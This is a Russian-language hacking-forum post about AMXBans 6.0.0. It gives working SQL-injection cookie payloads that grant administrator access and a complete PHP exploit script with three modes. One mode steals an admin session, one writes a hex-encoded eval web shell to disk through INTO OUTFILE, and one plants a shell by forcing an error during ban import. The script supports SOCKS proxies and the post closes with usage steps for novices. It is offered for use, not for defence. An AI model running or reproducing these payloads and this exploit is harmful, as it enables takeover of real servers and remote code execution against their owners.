Как видим, никак не проверяется параметр COOKIE, выполняется запрос к БД, в ходе которого мы получаем в сессии данные админа/етц. $config->cookie в 99% случаев расна дефолтному: amxbans. Разделение идет через ":", из чего строим простой запрос:
Target:
Передаем в Cookies:
Код:
Cookie: amxbans=' or id=1+union+select+1,2,1,4 -- 1
Передать нужно именно эти данные, именно в таком порядке.Переходим на индекс - мы админы.
+ Данные админов можно читать, шлем запрос с ид нужного админа, получаем его данные в бд, и далее идем на страницу любого бана, и пытаемся отписать комментарий( включить в админке) - в поле E-mail Вывод. так же вывод в правом верхнем углу экрана, рядом с кнопкой админки.
+ Уязвимость будет существовать даже при MQ=on, так как в config.php(который подрубается в таргете):
Загрузка файлов есть, но после загрузки и занесения значений в БД, файл удаляется.И файл заливается только с расширениями .cfg or .txt Внимательно присмотревшись к коду, находим строчки:
Код:
if(trim($bans[0])=="banid") {
//ban with steamid
if(!preg_match("/^STEAM_0:(0|1):[0-9]{1,18}/",$steamid)) { $status["failed"]++; continue;}
//search for a already existing permanent ban
$query = mysql_query("SELECT `player_id` FROM `".$config->db_prefix."_bans` WHERE `player_id`='".$steamid."' AND `expired`=0") or die (mysql_error());
if(mysql_num_rows($query)) {$status["failed"]++; continue;}
//write ban to db
$status["imported"]++;
$query = mysql_query("INSERT INTO `".$config->db_prefix."_bans`
(`player_id`,`player_nick`,`admin_nick`,`ban_type` ,`ban_reason`,`ban_created`,`ban_length`,`server_n ame`,`imported`)
VALUES
('".$steamid."','".$plnick."','".$_SESSION["uname"]."','S','".$reason_real."',".$date.",".$time.",'".$server."',1)
") or die (mysql_error());
Как видим, если условие if выполняется верно, то производиться SQL-запрос, в котором используется ничем не фильтруемая переменная _SESSION[uname], которую мы можем произвольно изменять. Возвращаемся к получению админских прав, и посылаем заместо старого запроса, немного модернизированный:
Код:
Cookie: amxbans=' or id=1+union+select+1,0x27,1,4 -- 1
Именно 2 поле является значением _SESSION[uname], мы запхиываем туда захексеную кавычку, ибо переменная _SESSION в отличии от остальных HTTP переменных не стипслешиться принудительно. Получаем при любых настрйоках сервера, в uname='
Следующим шагом, необходимо выполнить условие в if, что бы наша переменная встала в запрос, ивызвала критичискую ошибку. Код шелла будет выглядеться примерно так:
Первая строка шелла так-же проходит preg_match() проверку, и уже после этого, наша ядовитая переменная [uname]=' попадает в SQL запрос, вызывая ошибку кода, соответственно, код который удаляет файл после работы - не выполниться, и мы получим полный код своего шелла в файле, с тем же именем, что и при загрузке.
Минус соответственно в том, что не все серверы настроены таким образом, что бы отбрасывать неизвестное расширение, и воспроизводить последнее известное. Не помню как этот мод называется, мод_mime, или как то так.
В случае загрузки шелла через скулю, мы получаем полноценный шелл, но мало где у юзверей mysql есть права на работу с ФС.
Эксплойт
Код:
<?php
/**
* @author m0hze
* @copyright 2010
*/
set_time_limit(0);
//error_reporting(0);
#Exp. for AMX BANS 6.0.0#
function echoMan()
{
echo "+---------------------------------------------------------------------------+\r\n";
echo "|--------------------------AUS for AMXBans 6.0.0----------------------------|\r\n";
echo "|----------Type: 1) Upload via SQL-inj(!need file_priv=Y)-------------------|\r\n";
echo "|----------Type: 2) Upload via Import ListBan(!need magic_quote=OFF)--------|\r\n";
echo "|-----------------------------------How to use:-----------------------------|\r\n";
echo "|------->php exp.php http://host/path [type(0 or 1 or 2)] [path_to_shell]---|\r\n\r\n";
echo "|---------------------------------------Example:----------------------------|\r\n\r\n";
echo "|------------>php exp.php http://exploit.com/bans 2 D:/shellcode.php--------|\r\n";
echo "|------------------------ by m0Hze for Antichat.ru 2010 --------------------|\r\n";
echo "+---------------------------------------------------------------------------+";
}
/**
* @Socks
* */
$s=false;
$v=false;
/**
* @EndSocks
*/
if ($argv[1] != '') {
list(, $host, $type, $path) = $argv;
$path = addslashes($path);
$type = (int) trim($type);
if($type == 1){
AUviaSQL();
}elseif($type == 2){
AUviaImport();
}else{
GetAminData();
}
}else{
echoMan();
}
function AUviaImport()
{
global $host,$path;
$cookie = "amxbans=' or id=1+union+select+1,0x27,1,4 -- 1";
$page = curl($host . '/include/access.inc.php', false, false, false, $cookie);
preg_match('#PHPSESSID=(.*?);#', $page, $match);
$post = array('bancfgupl' => 1, 'reason' => 'cheat', 'player_nick' =>
'adminnick', 'server_name' => 'SuperServer', 'ban_created' => '11-06-2010',
'filename' => '@' . $path);
$upload = curl($host . '/admin.php?modul=iexport', $s,$v, $post, $match[0]);
if (stristr($upload, 'You have an error')) {
return(die("\r\nYou shell: " . $host . "/temp/" . basename($path)));
}else{
return(die("\r\nI think, MQ=ON. Good bye."));
}
}
function AUviaSQL(){
global $host,$path;
$get = curl($host.'/login.php',$s,$v,'user[]=&pass[]=&action=Login');
preg_match('#given in (.*?) on#',$get,$match);
$path = str_replace(array('\\\\','//'),'',str_replace(array('include','functions.inc.p hp'),'',strip_tags(trim($match[1])))).'/include/files/'.md5(rand(1,100)).'_1.php';
$cookie = "amxbans=' or id=1+union+select+1,unhex(0x3c3f706870206576616c28 7374726970736c617368657328245f524551554553545b7065 775d29293b203f3e),1,4 into outfile '$path' -- 3";
$page = curl($host . '/include/access.inc.php', $s,$v, false, $cookie);
if(stristr($page,"mysql_num_rows")){
return(die("\r\nYou shell uploaded! Get: $path?pew=system('dir');"));
}elseif(stristr($page,"Can't")){
return(die("\r\nPermission Denied :( May be file_priv=Y"));
}else{
return(die("\r\nWtf?! Error"));
}
}
function GetAminData(){
global $host;
$cookie = "amxbans=' or id=1+union+select+1,2,1,4 -- 1";
$page = curl($host . '/include/access.inc.php', $s,$v, false, $cookie);
preg_match('#PHPSESSID=(.*?);#', $page, $match);
return(die("\r\nOk! Session: ".$match[0]));
}
function curl($url, $socks = false, $version = 5, $post = false, $cookie = false)
{
$ch = curl_init(); // инициализируем Curl
curl_setopt($ch, CURLOPT_URL, $url); // открываемая страница
curl_setopt($ch, CURLOPT_TIMEOUT, 20);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // вернуть ответ сервера в переменную, а не выводить
// Работа через прокси
if ($socks) {
curl_setopt($ch, CURLOPT_PROXYTYPE, ($version = 5 ? CURLPROXY_SOCKS5 :
CURLPROXY_SOCKS4));
curl_setopt($ch, CURLOPT_PROXY, $socks);
}
if ($post) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
if ($cookie) {
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
}
$page = curl_exec($ch);
curl_close($ch);
return ($page);
}
?>
Первый - Получение админских прав, и вывод сессии юзера. Если вам просто нужно попасть в админку, подставляем полученное значение в куки.
Второй - загрузка шелла через SQL-inj, если позволяют права юзера mysql(file_priv=Y). Сама определяет полный путь до DOCUMENT_ROOT, и пытается загрузить шелл в папку с юзерскими файлами.
Третий - загрузка шелла описанным выше способом, через импорт банов. В конце работы выводит ссылку на шелл.
Exm:
Сокс-прокси версии 4/5 определяется прямо в коде.
======
Программа cookie
======
- Для google => [Ссылки могут видеть только зарегистрированные пользователи. ]
- Для opera => Нету
- Для firefox => [Ссылки могут видеть только зарегистрированные пользователи. ]
Вот шелл для тех кто не догоняет как юзать
Скопируйте код, вставте его в файл с расширением php и залейте себе на web сервер и откройте
введиет адрес к банам, нажмите отправить, получите ид сессии, откройте редактор кукисов и найдите адресс бан листа, и подмените значение (в разных браузерах, порядок действий с кукисами разный, но идея одна)))
[Ссылки могут видеть только зарегистрированные пользователи. ]
Последний раз редактировалось ShaQPwNz; 14.03.2011 в 22:17.